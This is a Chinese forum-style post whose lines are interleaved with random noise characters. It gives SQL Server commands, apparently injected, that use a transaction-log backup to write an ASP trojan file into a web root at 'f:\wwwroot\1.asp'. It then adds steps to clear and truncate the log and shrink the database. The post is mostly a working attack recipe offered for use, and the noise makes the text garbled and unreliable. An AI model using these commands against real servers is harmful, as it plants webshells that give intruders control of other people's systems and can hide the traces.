select * from master.dbo.sysdatabases 列出所有列的记录& ?6 ^4 g" j |3 J- e4 N- S
; P4 N7 k: M E/ p+ m& O' Xselect name from master.dbo.sysdatabases 仅列出name列的记录, [0 N: a$ m, Y4 e$ j, |4 W8 ?
# t3 A+ Z5 r! P& ~* p# ]: V$ q注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份! H7 N* i) k# j
! g' ~' g1 d) J1 Oalter database 数据库名 set RECOVERY FULL--
: c e* P* A1 g4 e; F3 g% }
8 J' I$ o7 R9 Zcreate table cmd (a image)-- \**cmd是创建的临时表; f' ?5 v4 R* v) ]8 A( d: J
: m* X5 t1 T# w' ~% l* E- X( a
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--8 y: A9 u; K& E. n+ w6 k
3 s4 p% i3 \& B" D8 a. sinsert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--) |. P% L% b7 |: y2 E8 b1 W. ^+ E
0 q) ~' U. |! g$ K8 B% q! `" G
//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)1 R& a" k" {- G. K# r% W$ \+ I5 ?
0 i( b: \, ~, b5 O2 N
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)1 q( r: _+ A1 ^
% l7 q8 v" x! [% ]. o# p: C
drop table cmd--
& N! Z) W) t+ b, y6 V8 m) A* _+ r
! h; p0 C' t5 r0 `+ [
4 y: i- o7 ^: [6 |" p1 cf:\
6 u* l7 \$ R, f' T! C5 z16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)4 |& N; e9 K- H2 y
) Z# \+ A- V% C* N6 z
最好多加几个回车0d0a,要不会出错哈
3 N) B" c9 \* F; ` T) u
9 R* ]/ m7 i& J% N, B
# E( q) ~& d, p5 V5 X4 H- }+ ySQL Server日志清空方法
5 ?8 a1 j; Z$ z6 j) g* r
K& ^. x5 W% M2 Y! i* u0 q在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名 1 Q, n D" G' z q
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG ! n" e1 o/ H& o/ ?1 n3 t( _& E
8 B5 R& u r2 e0 Q! T6 T
2.截断事务日志:BACKUP LOG databasename WITH NO_LOG " o8 a9 ]: f4 c: g
& F2 ^, @2 B$ i# P3.收缩数据库:DBCC SHRINKDATABASE(databasename) 1 f3 g% X! E: \2 c0 Q' y, c
|